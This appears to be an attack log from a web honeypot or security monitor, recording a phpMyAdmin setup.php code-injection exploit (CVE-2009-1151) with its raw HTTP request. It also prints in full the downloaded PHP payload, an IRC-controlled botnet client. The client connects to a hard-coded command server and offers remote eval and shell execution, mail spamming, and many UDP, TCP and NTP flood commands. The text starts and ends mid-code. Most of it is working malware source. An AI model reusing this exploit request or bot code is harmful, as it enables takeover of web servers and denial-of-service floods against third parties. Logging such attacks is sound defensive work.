$this->privmsg($this->config['chan'], "[\2tcp started!\2]");
$end = time() + $time;
$i = 0;
while($end > time())
{
$fp = fsockopen("tcp://".$host, $port, $e, $s, 5);
fclose($fp);
$i++;
}
$this->privmsg($this->config['chan'], "[\2tcp Finished!\2]: sent ".$i." connections to $host:$port.");
}
}
$poll = new sell;
$poll->start();
?>
phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit
[Attack info]
Attacker:
80.82.70.178
Dest. port: 80
Time: 10/09/2020 22:28:12
Resource(s): [details]
Request: permalink
[Extra info]
ASN/ISP: AS202425 IP Volume inc
Location: Anse-aux-Pins, Anse aux Pins
rDNS: no-reverse-dns-configured.com
Description
phpMyAdmin is prone to a remote PHP code-injection vulnerability on the page "setup.php". An attacker can exploit this issue to inject and execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. Versions prior to phpMyAdmin 2.11.9.5 and 3.1.3.1 are vulnerable.CVE
CVE-2009-1151Author
Adrian "pagvac" PastorPlugin ID
oosheefee1baixeinief5nociu5shohhPOST /phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1
Content-Length: 245
cookie2: $Version="1"
Host: 176.94.18.109
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
connection: TE
referer: http://176.94.18.109/phpMyAdmin-2.10.0.0/scripts/setup.php
cookie: phpMyAdmin=beda7396e33941a68dea6a935c39b6f8
te: deflate,gzip;q=0.3
Content-Type: application/x-www-form-urlencoded
action=lay_navigation&eoltype=unix&token=00f3af40a54f15c236e1c8128c0517d6&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A36%3A%22ftp%3A%2F%2F109%2E201%2E143%2E177%2Fpub%2FGodly2%2Ephp%22%3B%7D%7D
Resource ( 1 / 1 )
MD5: aaa2ad3c0e389983ae35d9b2b855671e
Type: text/x-php
Size: 54647
URL: ftp://109.201.143.177/pub/Godly2.php
<?php
// Php My Admin PMA Bot
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return '.';
}
function srvshelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command,$ws)
{
$exec=$ws->exec("cmd.exe /c $command");
$so=$exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command)
{
$perl=new perl();
ob_start();
$perl->eval("system(\"$command\")");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function Exe($command)
{
$exec=$output='';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(function_exists('passthru')){ob_start();@passthru_($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
elseif(function_exists('shell_exec'))[email protected]_exec($command);
elseif(function_exists('popen')){[email protected]($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
elseif(function_exists('proc_open')){[email protected]_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
elseif(extension_loaded('perl'))$exec=perlshelL($command);
return $exec;
}
class sell
{
var $config = array(
"server"=>"51.222.31.151", // Server IP
"port"=>"5467", // Server Connection Port
"password"=>"", // Server Connection password
"prefix"=>"ShadowNet", // Bot Name
"maxrand"=>"8", // Random Character Length
"chan"=>"#bots", // Main Channel
"key"=>"", // Main Channel Key
"Windows"=>"#Windows", // Windows Device Channel
"Linux"=>"#Linux", // Linux Device Channel
"trigger"=>"-", // Command Prefix
"maxtime"=>"120", // Max Time
"maxsize"=>"1024" // Max Size
);
var $users = array();
var $adminconfig = array("Erratic",);
function start()
{
while(true)
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
$pass = $this->config['password'];
$alph = range("0","9");
$this->send("PASS ".$pass."");
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $ident = "Windows";
else $ident = "Linux";
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
}
function main()
{
while(!feof($this->conn))
{
if(function_exists('stream_select'))
{
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0)
{
fwrite($this->conn, "PING :lelcomeatme\r\n");
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0) break;
}
}
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
if(strpos($this->buf, '(Too many connections from your IP)')!==false) { fclose($this->conn); exit();}
if(isset($cmd[1]) && $cmd[1] =="001") {
$this->auth($this->config['auth']);
$this->join($this->config['chan'],$this->config['key']);
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->join("".$this->config['Windows']."");
else $this->join("".$this->config['Linux']."");
continue;
}
if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
if(count($cmd)>2)
{
switch($cmd[1])
{
case "PRIVMSG":
if(substr($mcmd[0],0,1)=="".$this->config['trigger']."")
{
switch(substr($mcmd[0],1))
{
case "mail":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Failed Sending.");
}
else
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Sent.");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "maxtime":
$this->notice($nick, "0[\20The Max Time is9 ".$this->config['maxtime']."sec0!\2]");
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->notice($this->config['chan'],"9[\2Info\2]:0 ".$uname." (safe: ".$safemode.")");
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
if (!in_array($nick, $this->adminconfig)) {
break;
}
ob_start();
eval(strstr($msg,$mcmd[1]));
$exec=ob_get_contents();
ob_end_clean();
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
if (!in_array($nick, $this->adminconfig)) {
break;
}
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = exec($command);
$ret = explode("\n", $exec);
for ($i = 0; $i < count($ret); $i++)
if ($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "Time":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['maxtime']) {
$this->notice($nick, "0[\20Time is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['maxtime'] = $mcmd[1];
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Time>");
}
break;
case "Nick":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['prefix']) {
$this->notice($nick, "0[\20Nickname is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['prefix'] = $mcmd[1];
$this->set_nick();
$this->main();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Nick>");
}
break;
case "ntp":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[4] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "[\2NTP Started on Host: ".$host." on Port: ".$port." For ".$time."sec!\2]");
for($i=0;$i<$packetsize;$i++) { $packet .= chr("\x17\x00\x03\x2a\x00\x00\x00\x00"); }
$end = time() + $time;
$fp = fsockopen("udp://".$host,$port,$e,$s,8);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[NTP]: requests sent: ".$vel." to ".$host.":".$port.": Fails: ".$f);
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "std":
if(count($mcmd)>4) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$size = $mcmd[4];
if($time > $this->config['maxtime'])
{
$this->privmsg($this->config['chan'], "Max boot Time is ".$this->config["maxtime"]);
break;
}
elseif ($size > $this->config['maxsize']) {
$this->privmsg($this->config['chan'], "Max boot Size is ".$this->config["maxsize"]);
break;
}
$i = 0;
$end_time = time() + $time;
$socket = fsockopen("udp://" . $host, $port, $errno, $errstr, 5);
$this->privmsg($this->config['chan'], "STD Flooding ".$host." on ".$port." [".$time." Seconds / ".$size." FD(s)]");
while (true)
{
$packet = "";
$data = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 25);
for ($ii = 0; $ii < $size; $ii++)
{
$packet .= $data;
fwrite($socket, $packet);
fflush($socket);
}
if ($i % 100 == 0)
{
if (time() >= $end_time)
{
$this->privmsg($this->config['chan'], "STD Flood On ".$host.":".$port." Finished!");
break;
}
}
$i++;
}
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "gameudp":
if(count($mcmd)>4) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$size = $mcmd[4];
if($time > $this->config['maxtime'])
{
$this->privmsg($this->config['chan'], "Max boot Time is ".$this->config["maxtime"]);
break;
}
elseif ($size > $this->config['maxsize']) {
$this->privmsg($this->config['chan'], "Max boot Size is ".$this->config["maxsize"]);
break;
}
$i = 0;
$fds = array();
$end_time = time() + $time;
$this->privmsg($this->config['chan'], "UDP Flooding ".$host." on ".$port." [".$time." Seconds / ".$size." FD(s)]");
while (true)
{
$ii = 0;
$packet = "";
for ($ii = 0; $ii < $size; $ii++)
{
$packet .= chr(rand(1, 256));
$fds[$ii] = @fsockopen("udp://" . $host, $port, $errno, $errstr, 2);
fwrite($fds[$ii], $packet);
fflush($fds[$ii]);
fclose($fds[$ii]);
}
if ($i % 100 == 0)
{
if (time() >= $end_time)
{
$this->privmsg($this->config['chan'], "UDP Flood On ".$host.":".$port." Finished!");
break;
}
}
$i++;
}
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpflood":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[4] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on Host:4 ".$host."14 using port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp = fsockopen("udp://".$host,$port,$e,$s,5);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k on Host:4 ".$host."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpfloodtwo":
if ($mcmd[4] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[5] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>5) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$port = $mcmd[3];
$time = $mcmd[4];
$packetsize = $mcmd[5];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <port> <time> <size>");}
break;
case "udpfloodthree":
if ($mcmd[5] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[6] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>6) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$port = $mcmd[4];
$time = $mcmd[5];
$packetsize = $mcmd[6];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <port> <time> <size>");}
break;
case "udpfloodfour":
if ($mcmd[6] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[7] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>7) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$port = $mcmd[5];
$time = $mcmd[6];
$packetsize = $mcmd[7];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <port> <time> <size>");}
break;
case "udpfloodfive":
if ($mcmd[7] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[8] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>8) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$port = $mcmd[6];
$time = $mcmd[7];
$packetsize = $mcmd[8];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <port> <time> <size>");}
break;
case "udpfloodsix":
if ($mcmd[8] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[9] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>9) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$port = $mcmd[7];
$time = $mcmd[8];
$packetsize = $mcmd[9];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <port> <time> <size>");}
break;
case "udpfloodseven":
if ($mcmd[9] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[10] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>10) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$port = $mcmd[8];
$time = $mcmd[9];
$packetsize = $mcmd[10];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <port> <time> <size>");}
break;
case "udpfloodeight":
if ($mcmd[10] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[11] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>11) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$port = $mcmd[9];
$time = $mcmd[10];
$packetsize = $mcmd[11];
